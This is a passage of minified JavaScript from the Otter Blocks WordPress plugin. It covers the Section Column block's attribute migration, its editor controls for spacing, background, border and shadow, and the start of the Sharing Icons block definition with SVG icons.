nlinked"===e.paddingTypeMobile?(o.top=(0,A.isUndefined)(e.paddingMobileTop)?null:e.paddingMobileTop+"px",o.bottom=(0,A.isUndefined)(e.paddingMobileBottom)?null:e.paddingMobileBottom+"px",o.left=(0,A.isUndefined)(e.paddingMobileLeft)?null:e.paddingMobileLeft+"px",o.right=(0,A.isUndefined)(e.paddingMobileRight)?null:e.paddingMobileRight+"px"):(o.top=(0,A.isUndefined)(e.paddingMobile)?null:e.paddingMobile+"px",o.bottom=(0,A.isUndefined)(e.paddingMobile)?null:e.paddingMobile+"px",o.left=(0,A.isUndefined)(e.paddingMobile)?null:e.paddingMobile+"px",o.right=(0,A.isUndefined)(e.paddingMobile)?null:e.paddingMobile+"px"),"linked"===e.marginType?(a.top=(0,A.isUndefined)(e.margin)?"20px":e.margin+"px",a.bottom=(0,A.isUndefined)(e.margin)?"20px":e.margin+"px",a.left=(0,A.isUndefined)(e.margin)?"20px":e.margin+"px",a.right=(0,A.isUndefined)(e.margin)?"20px":e.margin+"px"):(a.top=(0,A.isUndefined)(e.marginTop)?"20px":e.marginTop+"px",a.bottom=(0,A.isUndefined)(e.marginBottom)?"20px":e.marginBottom+"px",a.left=(0,A.isUndefined)(e.marginLeft)?"20px":e.marginLeft+"px",a.right=(0,A.isUndefined)(e.marginRight)?"20px":e.marginRight+"px"),"linked"===e.marginTypeTablet?(n.top=(0,A.isUndefined)(e.marginTablet)?null:e.marginTablet+"px",n.bottom=(0,A.isUndefined)(e.marginTablet)?null:e.marginTablet+"px",n.left=(0,A.isUndefined)(e.marginTablet)?null:e.marginTablet+"px",n.right=(0,A.isUndefined)(e.marginTablet)?null:e.marginTablet+"px"):(n.top=(0,A.isUndefined)(e.marginTopTablet)?null:e.marginTopTablet+"px",n.bottom=(0,A.isUndefined)(e.marginBottomTablet)?null:e.marginBottomTablet+"px",n.left=(0,A.isUndefined)(e.marginLeftTablet)?null:e.marginLeftTablet+"px",n.right=(0,A.isUndefined)(e.marginRightTablet)?null:e.marginRightTablet+"px"),"linked"===e.marginTypeMobile?(r.top=(0,A.isUndefined)(e.marginMobile)?null:e.marginMobile+"px",r.bottom=(0,A.isUndefined)(e.marginMobile)?null:e.marginMobile+"px",r.left=(0,A.isUndefined)(e.marginMobile)?null:e.marginMobile+"px",r.right=(0,A.isUndefined)(e.marginMobile)?null:e.marginMobile+"px"):(r.top=(0,A.isUndefined)(e.marginTopMobile)?null:e.marginTopMobile+"px",r.bottom=(0,A.isUndefined)(e.marginBottomMobile)?null:e.marginBottomMobile+"px",r.left=(0,A.isUndefined)(e.marginLeftMobile)?null:e.marginLeftMobile+"px",r.right=(0,A.isUndefined)(e.marginRightMobile)?null:e.marginRightMobile+"px"),"unlinked"===e.borderType?(i.top=(0,A.isUndefined)(e.borderTop)?null:e.borderTop+"px",i.bottom=(0,A.isUndefined)(e.borderBottom)?null:e.borderBottom+"px",i.left=(0,A.isUndefined)(e.borderLeft)?null:e.borderLeft+"px",i.right=(0,A.isUndefined)(e.borderRight)?null:e.borderRight+"px"):(i.top=(0,A.isUndefined)(e.border)?null:e.border+"px",i.bottom=(0,A.isUndefined)(e.border)?null:e.border+"px",i.left=(0,A.isUndefined)(e.border)?null:e.border+"px",i.right=(0,A.isUndefined)(e.border)?null:e.border+"px"),"unlinked"===e.borderRadiusType?(s.top=(0,A.isUndefined)(e.borderRadiusTop)?null:e.borderRadiusTop+"px",s.bottom=(0,A.isUndefined)(e.borderRadiusBottom)?null:e.borderRadiusBottom+"px",s.left=(0,A.isUndefined)(e.borderRadiusLeft)?null:e.borderRadiusLeft+"px",s.right=(0,A.isUndefined)(e.borderRadiusRight)?null:e.borderRadiusRight+"px"):(s.top=(0,A.isUndefined)(e.borderRadius)?null:e.borderRadius+"px",s.bottom=(0,A.isUndefined)(e.borderRadius)?null:e.borderRadius+"px",s.left=(0,A.isUndefined)(e.borderRadius)?null:e.borderRadius+"px",s.right=(0,A.isUndefined)(e.borderRadius)?null:e.borderRadius+"px"),void 0!==e.backgroundImageURL&&void 0!==e.backgroundImageID&&(c={id:e.backgroundImageID,url:e.backgroundImageURL});return void 0!==e.backgroundPosition&&(d={"top left":{x:"0.00",y:"0.00"},"top center":{x:"0.50",y:"0.00"},"top right":{x:"1.00",y:"0.00"},"center left":{x:"0.00",y:"0.50"},"center center":{x:"0.50",y:"0.50"},"center right":{x:"1.00",y:"0.50"},"bottom left":{x:"0.00",y:"1.00"},"bottom center":{x:"0.50",y:"1.00"},"bottom right":{x:"1.00",y:"1.00"}}[e.backgroundPosition]),{...{...(0,A.omit)(e,["paddingType","paddingTypeTablet","paddingTypeMobile","paddingTop","paddingTopTablet","paddingTopMobile","paddingRight","paddingRightTablet","paddingRightMobile","paddingBottom","paddingBottomTablet","paddingBottomMobile","paddingLeft","paddingLeftTablet","paddingLeftMobile","marginType","marginTypeTablet","marginTypeMobile","marginTop","marginTopTablet","marginTopMobile","marginRight","marginRightTablet","marginRightMobile","marginBottom","marginBottomTablet","marginBottomMobile","marginLeft","marginLeftTablet","marginLeftMobile","borderType","borderTop","borderRight","borderBottom","borderLeft","borderRadiusType","borderRadiusTop","borderRadiusRight","borderRadiusBottom","borderRadiusLeft"]),...!(0,h.FH)(t)&&{padding:t},...!(0,h.FH)(l)&&{paddingTablet:l},...!(0,h.FH)(o)&&{paddingMobile:o},...!(0,h.FH)(a)&&{margin:a},...!(0,h.FH)(n)&&{marginTablet:n},...!(0,h.FH)(r)&&{marginMobile:r},...!(0,h.FH)(i)&&{border:i},...!(0,h.FH)(s)&&{borderRadius:s},...!(0,h.FH)(c)&&{backgroundImage:c},...!(0,h.FH)(d)&&{backgroundPosition:d}}}},isEligible:e=>["padding","paddingTablet","paddingMobile","paddingTop","paddingTopTablet","paddingTopMobile","paddingRight","paddingRightTablet","paddingRightMobile","paddingBottom","paddingBottomTablet","paddingBottomMobile","paddingLeft","paddingLeftTablet","paddingLeftMobile","margin","marginTablet","marginMobile","marginTop","marginTopTablet","marginTopMobile","marginRight","marginRightTablet","marginRightMobile","marginBottom","marginBottomTablet","marginBottomMobile","marginLeft","marginLeftTablet","marginLeftMobile","borderType","border","borderTop","borderRight","borderBottom","borderLeft","borderRadiusType","borderRadius","borderRadiusTop","borderRadiusRight","borderRadiusBottom","borderRadiusLeft"].some((t=>!(0,A.isUndefined)(e[t])&&"number"==typeof e[t]))||void 0!==e.backgroundImageURL&&void 0!==e.backgroundImageID||void 0!==e.backgroundPosition&&"object"!=typeof e.backgroundPosition,save:({attributes:e,className:t})=>{const l=e.columnsHTMLTag;return(0,i.createElement)(l,{className:t,id:e.id},(0,i.createElement)(u.InnerBlocks.Content,null))}}];var Oa=La,Ia=({attributes:e,setAttributes:t})=>(0,i.createElement)(u.BlockControls,null,(0,i.createElement)(u.BlockVerticalAlignmentToolbar,{onChange:l=>e.verticalAlign===l?t({verticalAlign:void 0}):t({verticalAlign:l}),value:e.verticalAlign})),Ha=({attributes:e,setAttributes:t,getValue:l,parentBlock:a,updateBlockAttributes:n,currentBlockWidth:r,nextBlock:s,nextBlockWidth:c})=>{const d=(0,m.useSelect)((e=>{const{getView:t}=e("themeisle-gutenberg/data"),{__experimentalGetPreviewDeviceType:l}=!!e("core/edit-post")&&e("core/edit-post");return l?l():t()}),[]),[k,f]=(0,y.useTabSwitch)(e.id,"layout"),v=()=>{switch(d){case"Desktop":return"padding";case"Tablet":return"paddingTablet";case"Mobile":return"paddingMobile";default:return}},_=()=>{switch(d){case"Desktop":return"margin";case"Tablet":return"marginTablet";case"Mobile":return"marginMobile";default:return}},C=(e,t,l,o)=>"color"===e&&t?t:"image"===e&&l?`url( ${l} )`:"gradient"===e&&o?o:void 0;return(0,i.createElement)(u.InspectorControls,null,(0,i.createElement)(g.Hn,{value:k,options:[{label:(0,o.__)("Layout","otter-blocks"),value:"layout"},{label:(0,o.__)("Style","otter-blocks"),value:"style"}],onChange:f}),"layout"===k&&(0,i.createElement)(b.Fragment,null,(0,i.createElement)(p.PanelBody,{title:(0,o.__)("Column Structure","otter-blocks")},1<a.innerBlocks.length&&(0,i.createElement)(p.RangeControl,{label:(0,o.__)("Column Width","otter-blocks"),value:Number(e.columnWidth),onChange:e=>{const l=e||10,o=Number(r.current)-l+Number(c.current);r.current=l,c.current=o,t({columnWidth:l.toFixed(2)}),n(s.current,{columnWidth:o.toFixed(2)})},step:.1,min:10,max:Number(e.columnWidth)+Number(c.current)-10}),(0,i.createElement)(p.SelectControl,{label:(0,o.__)("HTML Tag","otter-blocks"),value:e.columnsHTMLTag,options:[{label:(0,o.__)("Default (div)","otter-blocks"),value:"div"},{label:"section",value:"section"},{label:"header",value:"header"},{label:"footer",value:"footer"},{label:"article",value:"article"},{label:"main",value:"main"}],onChange:e=>t({columnsHTMLTag:e})})),(0,i.createElement)(g.p,null))||"style"===k&&(0,i.createElement)(b.Fragment,null,(0,i.createElement)(p.PanelBody,{title:(0,o.__)("Dimensions","otter-blocks")},(0,i.createElement)(g.r4,{isSynced:e.isSynced,options:[{label:(0,o.__)("Padding","otter-blocks"),value:v()},{label:(0,o.__)("Margin","otter-blocks"),value:_()}],setAttributes:t}),(0,i.createElement)(g.n9,{label:(0,o.__)("Screen Type","otter-blocks")},(0,i.createElement)(p.Disabled,{isDisabled:e.isSynced?.includes(v())||!1,className:"o-disabled"},(0,i.createElement)(p.__experimentalBoxControl,{label:(0,o.__)("Padding","otter-blocks"),values:(()=>{switch(d){case"Desktop":return l("padding");case"Tablet":return(0,A.merge)({...l("padding")},l("paddingTablet"));case"Mobile":return(0,A.merge)({...l("padding")},l("paddingTablet"),l("paddingMobile"));default:return}})(),inputProps:{min:0,max:500},onChange:l=>{switch((0,h.CJ)(l)&&(l=void 0),d){case"Desktop":return t({padding:l});case"Tablet":return t({paddingTablet:(0,h.cg)(l,e.padding)});case"Mobile":return t({paddingMobile:(0,h.cg)(l,{...e.padding,...e.paddingTablet})});default:return}},resetValues:Fa.attributes.padding.default})),(0,i.createElement)(p.Disabled,{isDisabled:e.isSynced?.includes(_())||!1,className:"o-disabled"},(0,i.createElement)(p.__experimentalBoxControl,{label:(0,o.__)("Margin","otter-blocks"),values:(()=>{switch(d){case"Desktop":return l("margin");case"Tablet":return(0,A.merge)({...l("margin")},l("marginTablet"));case"Mobile":return(0,A.merge)({...l("margin")},l("marginTablet"),l("marginMobile"));default:return}})(),inputProps:{min:-500,max:500},onChange:l=>{switch((0,h.CJ)(l)&&(l=void 0),d){case"Desktop":return t({margin:l});case"Tablet":return t({marginTablet:(0,h.cg)(l,e.margin)});case"Mobile":return t({marginMobile:(0,h.cg)(l,{...e.margin,...e.marginTablet})});default:return}},resetValues:Fa.attributes.margin.default})))),(0,i.createElement)(p.PanelBody,{title:(0,o.__)("Background & Content","otter-blocks"),initialOpen:!1},(0,i.createElement)(g.Ed,{label:(0,o.__)("Text","otter-blocks"),colorValue:e.color,onColorChange:e=>t({color:e}),className:"is-list is-first"}),(0,i.createElement)(g.Ed,{label:(0,o.__)("Link","otter-blocks"),colorValue:e.linkColor,onColorChange:e=>t({linkColor:e}),className:"is-list"}),(0,i.createElement)(g.jj,{label:(0,o.__)("Background","otter-blocks"),indicator:C(e.backgroundType,e.backgroundColor,e.backgroundImage?.url,e.backgroundGradient)},(0,i.createElement)(g.Zo,{backgroundType:e.backgroundType,backgroundColor:e.backgroundColor,image:e.backgroundImage,gradient:e.backgroundGradient,focalPoint:e.backgroundPosition,backgroundAttachment:e.backgroundAttachment,backgroundRepeat:e.backgroundRepeat,backgroundSize:e.backgroundSize,changeBackgroundType:e=>t({backgroundType:e}),changeImage:e=>{t({backgroundImage:(0,A.pick)(e,["id","url"])})},removeImage:()=>t({backgroundImage:void 0}),changeColor:e=>t({backgroundColor:e}),changeGradient:e=>t({backgroundGradient:e}),changeBackgroundAttachment:e=>t({backgroundAttachment:e}),changeBackgroundRepeat:e=>t({backgroundRepeat:e}),changeFocalPoint:e=>t({backgroundPosition:e}),changeBackgroundSize:e=>t({backgroundSize:e})})),(0,i.createElement)(g.jj,{label:(0,o.__)("Background Overlay","otter-blocks"),indicator:C(e.backgroundOverlayType,e.backgroundOverlayColor,e.backgroundOverlayImage?.url,e.backgroundOverlayGradient)},(0,i.createElement)(g.RF,{backgroundType:e.backgroundOverlayType,backgroundColor:e.backgroundOverlayColor,image:e.backgroundOverlayImage,gradient:e.backgroundOverlayGradient,focalPoint:e.backgroundOverlayPosition,backgroundAttachment:e.backgroundOverlayAttachment,backgroundRepeat:e.backgroundOverlayRepeat,backgroundSize:e.backgroundOverlaySize,backgroundOpacity:e.backgroundOverlayOpacity,backgroundFilterBlur:e.backgroundOverlayFilterBlur,backgroundFilterBrightness:e.backgroundOverlayFilterBrightness,backgroundFilterContrast:e.backgroundOverlayFilterContrast,backgroundFilterGrayscale:e.backgroundOverlayFilterGrayscale,backgroundFilterHue:e.backgroundOverlayFilterHue,backgroundFilterSaturate:e.backgroundOverlayFilterSaturate,backgroundBlend:e.backgroundOverlayBlend,changeBackgroundType:e=>t({backgroundOverlayType:e}),changeImage:e=>{t({backgroundOverlayImage:(0,A.pick)(e,["id","url"])})},removeImage:()=>t({backgroundOverlayImage:void 0}),changeColor:e=>t({backgroundOverlayColor:e}),changeGradient:e=>t({backgroundOverlayGradient:e}),changeBackgroundAttachment:e=>t({backgroundOverlayAttachment:e}),changeBackgroundRepeat:e=>t({backgroundOverlayRepeat:e}),changeFocalPoint:e=>t({backgroundOverlayPosition:e}),changeBackgroundSize:e=>t({backgroundOverlaySize:e}),changeOpacity:e=>t({backgroundOverlayOpacity:e}),changeFilterBlur:e=>t({backgroundOverlayFilterBlur:e}),changeFilterBrightness:e=>t({backgroundOverlayFilterBrightness:e}),changeFilterContrast:e=>t({backgroundOverlayFilterContrast:e}),changeFilterGrayscale:e=>t({backgroundOverlayFilterGrayscale:e}),changeFilterHue:e=>t({backgroundOverlayFilterHue:e}),changeFilterSaturate:e=>t({backgroundOverlayFilterSaturate:e}),changeBlend:e=>t({backgroundOverlayBlend:e})})),(0,i.createElement)(g.Ed,{label:(0,o.__)("Text Hover","otter-blocks"),colorValue:e.colorHover,onColorChange:e=>t({colorHover:e}),className:"is-list"}),(0,i.createElement)(g.Ed,{label:(0,o.__)("Background Hover","otter-blocks"),colorValue:e.backgroundColorHover,onColorChange:e=>t({backgroundColorHover:e}),className:"is-list"})),(0,i.createElement)(p.PanelBody,{title:(0,o.__)("Border","otter-blocks"),className:"o-section-border-container",initialOpen:!1},(0,i.createElement)(g.Ed,{label:(0,o.__)("Border Color","otter-blocks"),colorValue:e.borderColor,onColorChange:e=>t({borderColor:e})}),(0,i.createElement)(p.__experimentalBoxControl,{label:(0,o.__)("Border Width","otter-blocks"),values:e.border,inputProps:{min:0,max:500},units:[{value:"px",label:"px"}],onChange:e=>{(0,h.CJ)(e)&&(e=void 0),t({border:e})}}),(0,i.createElement)(p.__experimentalBoxControl,{label:(0,o.__)("Border Radius","otter-blocks"),values:e.borderRadius,inputProps:{min:0,max:500},units:[{value:"px",label:"px"},{value:"%",label:"%"}],onChange:e=>{(0,h.CJ)(e)&&(e=void 0),t({borderRadius:e})}}),(0,i.createElement)(p.ToggleControl,{label:(0,o.__)("Box Shadow","otter-blocks"),checked:e.boxShadow,onChange:()=>t({boxShadow:!e.boxShadow})}),e.boxShadow&&(0,i.createElement)(g.Fi,{label:(0,o.__)("Shadow Properties","otter-blocks")},(0,i.createElement)(u.__experimentalColorGradientControl,{label:(0,o.__)("Shadow Color","otter-blocks"),colorValue:e.boxShadowColor,onColorChange:l=>t({boxShadowColor:100>e.boxShadowColorOpacity&&l?.includes("var(")?getComputedStyle(document.documentElement,null).getPropertyValue(l?.replace("var(","")?.replace(")","")):l})}),(0,i.createElement)(p.RangeControl,{label:(0,o.__)("Opacity","otter-blocks"),value:e.boxShadowColorOpacity,onChange:l=>{const o={boxShadowColorOpacity:l};100>l&&e.boxShadowColor?.includes("var(")&&(o.boxShadowColor=getComputedStyle(document.documentElement,null).getPropertyValue(e.boxShadowColor.replace("var(","").replace(")",""))),t(o)},min:0,max:100}),(0,i.createElement)(p.RangeControl,{label:(0,o.__)("Blur","otter-blocks"),value:e.boxShadowBlur,onChange:e=>t({boxShadowBlur:e}),min:0,max:100}),(0,i.createElement)(p.RangeControl,{label:(0,o.__)("Spread","otter-blocks"),value:e.boxShadowSpread,onChange:e=>t({boxShadowSpread:e}),min:-100,max:100}),(0,i.createElement)(p.RangeControl,{label:(0,o.__)("Horizontal","otter-blocks"),value:e.boxShadowHorizontal,onChange:e=>t({boxShadowHorizontal:e}),min:-100,max:100}),(0,i.createElement)(p.RangeControl,{label:(0,o.__)("Vertical","otter-blocks"),value:e.boxShadowVertical,onChange:e=>t({boxShadowVertical:e}),min:-100,max:100})))))};const{attributes:Na}=Fa;const{name:Aa}=Fa;(0,a.registerBlockType)(Aa,{...Fa,title:(0,o.__)("Section Column","otter-blocks"),description:(0,o.__)("A single column within a Section block. Powered by Otter.","otter-blocks"),icon:r.columnIcon,deprecated:Oa,edit:({name:e,attributes:t,setAttributes:l,isSelected:o,clientId:a})=>{const{updateBlockAttributes:n}=(0,m.useDispatch)("core/block-editor"),{adjacentBlockClientId:r,adjacentBlock:s,parentBlock:c,hasInnerBlocks:d,isViewportAvailable:p,isPreviewDesktop:g,isPreviewTablet:f,isPreviewMobile:v}=(0,m.useSelect)((e=>{const{getAdjacentBlockClientId:t,getBlock:l,getBlockRootClientId:o}=e("core/block-editor"),{__experimentalGetPreviewDeviceType:n}=!!e("core/edit-post")&&e("core/edit-post"),r=l(a),i=t(a);return{adjacentBlockClientId:i,adjacentBlock:l(i),parentBlock:l(o(a)),hasInnerBlocks:!(!r||!r.innerBlocks.length),isViewportAvailable:!!n,isPreviewDesktop:!!n&&"Desktop"===n(),isPreviewTablet:!!n&&"Tablet"===n(),isPreviewMobile:!!n&&"Mobile"===n()}}),[]),_=(0,wa.useViewportMatch)("large",">="),C=(0,wa.useViewportMatch)("large","<="),w=(0,wa.useViewportMatch)("small",">="),E=(0,wa.useViewportMatch)("small","<=");(0,b.useEffect)((()=>{const e=(0,y.blockInit)(a,Na);return()=>e(t.id)}),[t.id]),(0,b.useEffect)((()=>{if(1<c.innerBlocks.length&&!r){const e=c.innerBlocks.findIndex((e=>e.clientId===a)),t=c.innerBlocks[e-1];S.current=t.clientId,T.current=t.attributes.columnWidth}}),[]),(0,b.useEffect)((()=>{if(1<c.innerBlocks.length)if(r)T.current=s.attributes.columnWidth,S.current=r,x.current=t.columnWidth;else{const e=c.innerBlocks.findIndex((e=>e.clientId===a)),l=c.innerBlocks[e-1];T.current=l.attributes.columnWidth,S.current=l.clientId,x.current=t.columnWidth}}),[o,t.columnWidth,c.innerBlocks.length]),(0,k.W)("color"===t.backgroundType&&t.backgroundColor,t,l);const x=(0,b.useRef)(t.columnWidth),S=(0,b.useRef)(r&&r),T=(0,b.useRef)(s&&s.attributes.columnWidth),B=l=>(0,y.getDefaultValueByField)({name:e,field:l,defaultAttributes:Na,attributes:t});let M=_&&!C&&w&&!E,P=!_&&!C&&w&&!E,z=!(_||C||w||E);if(p&&!z&&(M=g,P=f,z=v),void 0===t.columnWidth){const e=c.innerBlocks.findIndex((e=>e.clientId===a));let{columns:t}=c.attributes;const{layout:l}=c.attributes;6<t&&(t=6),n(a,{columnWidth:Ea[t][l][e]})}const F=t.columnsHTMLTag;let R,L,I,H,N,V={paddingTop:B("padding")?.top,paddingRight:B("padding")?.right,paddingBottom:B("padding")?.bottom,paddingLeft:B("padding")?.left,marginTop:B("margin")?.top,marginRight:B("margin")?.right,marginBottom:B("margin")?.bottom,marginLeft:B("margin")?.left};if(P||z){const e=(0,A.pickBy)({paddingTop:B("paddingTablet")?.top,paddingRight:B("paddingTablet")?.right,paddingBottom:B("paddingTablet")?.bottom,paddingLeft:B("paddingTablet")?.left,marginTop:B("marginTablet")?.top,marginRight:B("marginTablet")?.right,marginBottom:B("marginTablet")?.bottom,marginLeft:B("marginTablet")?.left},(e=>e));V=(0,A.merge)(V,e)}if(z){const e=(0,A.pickBy)({paddingTop:B("paddingMobile")?.top,paddingRight:B("paddingMobile")?.right,paddingBottom:B("paddingMobile")?.bottom,paddingLeft:B("paddingMobile")?.left,marginTop:B("marginMobile")?.top,marginRight:B("marginMobile")?.right,marginBottom:B("marginMobile")?.bottom,marginLeft:B("marginMobile")?.left},(e=>e));V=(0,A.merge)(V,e)}"color"===t.backgroundType&&(R={"--background":t.backgroundColor}),"image"===t.backgroundType&&(R={"--background":`url( '${t.backgroundImage?.url}' )`,backgroundAttachment:t.backgroundAttachment,backgroundPosition:`${Math.round(100*t.backgroundPosition?.x)}% ${Math.round(100*t.backgroundPosition?.y)}%`,backgroundRepeat:t.backgroundRepeat,backgroundSize:t.backgroundSize}),"gradient"===t.backgroundType&&(R={"--background":t.backgroundGradient}),t.border&&!(0,A.isEmpty)(t.border)&&(I={borderTopWidth:t.border.top,borderRightWidth:t.border.right,borderBottomWidth:t.border.bottom,borderLeftWidth:t.border.left,borderStyle:"solid",borderColor:t.borderColor}),t.borderRadius&&!(0,A.isEmpty)(t.borderRadius)&&(H={borderTopLeftRadius:t.borderRadius.top,borderTopRightRadius:t.borderRadius.right,borderBottomRightRadius:t.borderRadius.bottom,borderBottomLeftRadius:t.borderRadius.left}),!0===t.boxShadow&&(N={boxShadow:`${t.boxShadowHorizontal}px ${t.boxShadowVertical}px ${t.boxShadowBlur}px ${t.boxShadowSpread}px ${!t.boxShadowColor.includes("var(")||void 0!==t.boxShadowColorOpacity&&100!==t.boxShadowColorOpacity?O()(t.boxShadowColor?t.boxShadowColor:"#000000",t.boxShadowColorOpacity):t.boxShadowColor}`});const D={flexBasis:`${t.columnWidth}%`,...V,...R,...I,...H,...N,"--link-color":t.linkColor,"--background-color-hover":t.backgroundColorHover};t.verticalAlign&&(D.alignItems={top:"flex-start",center:"center",bottom:"flex-end"}[t.verticalAlign]),"color"===t.backgroundOverlayType&&(L={background:t.backgroundOverlayColor,opacity:t.backgroundOverlayOpacity/100}),"image"===t.backgroundOverlayType&&(L={backgroundImage:`url( '${t.backgroundOverlayImage?.url}' )`,backgroundAttachment:t.backgroundOverlayAttachment,backgroundPosition:`${Math.round(100*t.backgroundOverlayPosition?.x)}% ${Math.round(100*t.backgroundOverlayPosition?.y)}%`,backgroundRepeat:t.backgroundOverlayRepeat,backgroundSize:t.backgroundOverlaySize,opacity:t.backgroundOverlayOpacity/100}),"gradient"===t.backgroundOverlayType&&(L={background:t.backgroundOverlayGradient,opacity:t.backgroundOverlayOpacity/100});const G="color"===t.backgroundOverlayType&&t.backgroundOverlayColor||"image"===t.backgroundOverlayType&&t.backgroundOverlayImage?.url||"gradient"===t.backgroundOverlayType&&t.backgroundOverlayGradient,j={...L,...H,mixBlendMode:t.backgroundOverlayBlend,filter:`blur( ${t.backgroundOverlayFilterBlur/10}px ) brightness( ${t.backgroundOverlayFilterBrightness/10} ) contrast( ${t.backgroundOverlayFilterContrast/10} ) grayscale( ${t.backgroundOverlayFilterGrayscale/100} ) hue-rotate( ${t.backgroundOverlayFilterHue}deg ) saturate( ${t.backgroundOverlayFilterSaturate/10} )`},W=(0,u.useBlockProps)({id:t.id,style:D});return(0,i.createElement)(b.Fragment,null,(0,i.createElement)("style",null,`#block-${a}`+(0,h.iC)([["--text-color",t.color]]),`#block-${a}:hover`+(0,h.iC)([["--text-color",t.colorHover]])),(0,i.createElement)(Ia,{attributes:t,setAttributes:l}),(0,i.createElement)(Ha,{attributes:t,setAttributes:l,getValue:B,parentBlock:c,updateBlockAttributes:n,currentBlockWidth:x,nextBlock:S,nextBlockWidth:T}),(0,i.createElement)(F,{...W},G&&(0,i.createElement)("div",{className:"wp-block-themeisle-blocks-advanced-column-overlay",style:j}),(0,i.createElement)(u.InnerBlocks,{templateLock:!1,renderAppender:!d&&u.InnerBlocks.ButtonBlockAppender})))},save:({attributes:e})=>{const t=e.columnsHTMLTag,l="color"===e.backgroundOverlayType&&e.backgroundOverlayColor||"image"===e.backgroundOverlayType&&e.backgroundOverlayImage?.url||"gradient"===e.backgroundOverlayType&&e.backgroundOverlayGradient,o=u.useBlockProps.save({id:e.id});return(0,i.createElement)(t,{...o},l&&(0,i.createElement)("div",{className:"wp-block-themeisle-blocks-advanced-column-overlay"}),(0,i.createElement)(u.InnerBlocks.Content,null))}});var Va=JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":2,"name":"themeisle-blocks/sharing-icons","title":"Sharing Icons","category":"themeisle-blocks","description":"Share buttons for your website visitors to share content on any social sharing service. Powered by Otter.","keywords":["social media","sharing","icons"],"textdomain":"otter-blocks","attributes":{"id":{"type":"string"},"facebook":{"type":["object","boolean"],"default":{"active":true}},"twitter":{"type":["object","boolean"],"default":{"active":true}},"linkedin":{"type":["object","boolean"],"default":{"active":true}},"pinterest":{"type":["object","boolean"],"default":{"active":false}},"tumblr":{"type":["object","boolean"],"default":{"active":false}},"reddit":{"type":["object","boolean"],"default":{"active":false}},"whatsapp":{"type":["object","boolean"],"default":{"active":false}},"telegram":{"type":["object","boolean"],"default":{"active":false}},"email":{"type":["object","boolean"],"default":{"active":false}},"mastodon":{"type":["object","boolean"],"default":{"active":false}},"comments":{"type":["object","boolean"],"default":{"active":false}},"gap":{"type":"number"},"borderRadius":{"type":"number"},"backgroundColor":{"type":"string"},"textColor":{"type":"string"},"context":{"type":"string"}},"styles":[{"name":"default","label":"Regular","isDefault":true},{"name":"icons","label":"Icons Only"}],"supports":{"align":["left","center","right"]},"editorStyle":"otter-sharing-icons-editor","style":"otter-sharing-icons-style"}'),Da=window.wp.serverSideRender,Ga=l.n(Da),ja=({icon:e})=>"facebook"===e?(0,i.createElement)(p.SVG,{className:"o-toolbar-icon",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 264 512"},(0,i.createElement)(p.Path,{fill:"currentColor",d:"M76.7 512V283H0v-91h76.7v-71.7C76.7 42.4 124.3 0 193.8 0c33.3 0 61.9 2.5 70.2 3.6V85h-48.2c-37.8 0-45.1 18-45.1 44.3V192H256l-11.7 91h-73.6v229"})):"twitter"===e?(0,i.createElement)(p.SVG,{className:"o-toolbar-icon",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 512 512"},(0,i.createElement)(p.Path,{fill:"currentColor",d:"M459.37 151.716c.325 4.548.325 9.097.325 13.645 0 138.72-105.583 298.558-298.558 298.558-59.452 0-114.68-17.219-161.137-47.106 8.447.974 16.568 1.299 25.34 1.299 49.055 0 94.213-16.568 130.274-44.832-46.132-.975-84.792-31.188-98.112-72.772 6.498.974 12.995 1.624 19.818 1.624 9.421 0 18.843-1.3 27.614-3.573-48.081-9.747-84.143-51.98-84.143-102.985v-1.299c13.969 7.797 30.214 12.67 47.431 13.319-28.264-18.843-46.781-51.005-46.781-87.391 0-19.492 5.197-37.36 14.294-52.954 51.655 63.675 129.3 105.258 216.365 109.807-1.624-7.797-2.599-15.918-2.599-24.04 0-57.828 46.782-104.934 104.934-104.934 30.213 0 57.502 12.67 76.67 33.137 23.715-4.548 46.456-13.32 66.599-25.34-7.798 24.366-24.366 44.833-46.132 57.827 21.117-2.273 41.584-8.122 60.426-16.243-14.292 20.791-32.161 39.308-52.628 54.253z"})):"linkedin"===e?(0,i.createElement)(p.SVG,{className:"o-toolbar-icon",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 448 512"},(0,i.createElement)(p.Path,{fill:"currentColor",d:"M100.3 480H7.4V180.9h92.9V480zM53.8 140.1C24.1 140.1 0 115.5 0 85.8 0 56.1 24.1 32 53.8 32c29.7 0 53.8 24.1 53.8 53.8 0 29.7-24.1 54.3-53.8 54.3zM448 480h-92.7V334.4c0-34.7-.7-79.2-48.3-79.2-48.3 0-55.7 37.7-55.7 76.7V480h-92.8V180.9h89.1v40.8h1.3c12.4-23.5 42.7-48.3 87.9-48.3 94 0 111.3 61.9 111.3 142.3V480z"})):"pinterest"===e?(0,i.createElement)(p.SVG,{className:"o-toolbar-icon",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 384 512"},(0,i.createElement)(p.Path,{fill:"currentColor",d:"M204 6.5C101.4 6.5 0 74.9 0 185.6 0 256 39.6 296 63.6 296c9.9 0 15.6-27.6 15.6-35.4 0-9.3-23.7-29.1-23.7-67.8 0-80.4 61.2-137.4 140.4-137.4 68.1 0 118.5 38.7 118.5 109.8 0 53.1-21.3 152.7-90.3 152.7-24.9 0-46.2-18-46.2-43.8 0-37.8 26.4-74.4 26.4-113.4 0-66.2-93.9-54.2-93.9 25.8 0 16.8 2.1 35.4 9.6 50.7-13.8 59.4-42 147.9-42 209.1 0 18.9 2.7 37.5 4.5 56.4 3.4 3.8 1.7 3.4 6.9 1.5 50.4-69 48.6-82.5 71.4-172.8 12.3 23.4 44.1 36 69.3 36 106.2 0 153.9-103.5 153.9-196.8C384 71.3 298.2 6.5 204 6.5z"})):"tumblr"===e?(0,i.createElement)(p.SVG,{className:"o-toolbar-icon",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 320 512"},(0,i.createElement)(p.Path,{fill:"currentColor",d:"M309.8 480.3c-13.6 14.5-50 31.7-97.4 31.7-120.8 0-147-88.8-147-140.6v-144H17.9c-5.5 0-10-4.5-10-10v-68c0-7.2 4.5-13.6 11.3-16 62-21.8 81.5-76 84.3-117.1.8-11 6.5-16.3 16.1-16.3h70.9c5.5 0 10 4.5 10 10v115.2h83c5.5 0 10 4.4 10 9.9v81.7c0 5.5-4.5 10-10 10h-83.4V360c0 34.2 23.7 53.6 68 35.8 4.8-1.9 9-3.2 12.7-2.2 3.5.9 5.8 3.4 7.4 7.9l22 64.3c1.8 5 3.3 